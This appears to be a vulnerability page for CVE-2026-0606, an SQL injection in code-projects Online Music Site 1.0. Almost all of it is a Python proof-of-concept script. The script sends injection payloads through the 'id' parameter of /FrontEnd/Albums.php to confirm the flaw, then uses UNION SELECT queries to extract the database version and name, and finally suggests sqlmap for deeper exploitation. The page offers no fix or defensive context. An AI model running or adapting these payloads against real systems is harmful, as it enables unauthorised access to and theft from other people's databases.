CVE-2026-0606 code-projects Online Music Site 1.0 SQL注入漏洞

import requests import sys # CVE-2026-0606 SQL Injection PoC # Target: code-projects Online Music Site 1.0 # Endpoint: /FrontEnd/Albums.php def exploit(target_url, payload_id): """ Exploit SQL injection vulnerability in Albums.php Args: target_url: Base URL of the vulnerable application payload_id: SQL injection payload to inject via ID parameter Returns: Response content if successful """ params = { 'id': payload_id } try: response = requests.get(f'{target_url}/FrontEnd/Albums.php', params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None def main(): if len(sys.argv) < 2: print('Usage: python cve_2026_0606.py <target_url>') print('Example: python cve_2026_0606.py http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') # Basic detection payload detection_payload = "1' AND 1=1 ---" print(f'[*] Testing SQL injection on {target}/FrontEnd/Albums.php') result = exploit(target, detection_payload) if result: print('[+] Vulnerability may be present, response received') # Extract database version version_payload = "1' UNION SELECT @@version ---" print(f'[*] Attempting to extract database version...') version_result = exploit(target, version_payload) # Extract current database db_payload = "1' UNION SELECT database() ---" print(f'[*] Attempting to extract database name...') db_result = exploit(target, db_payload) print('[*] For detailed exploitation, use sqlmap or manual testing') if __name__ == '__main__': main()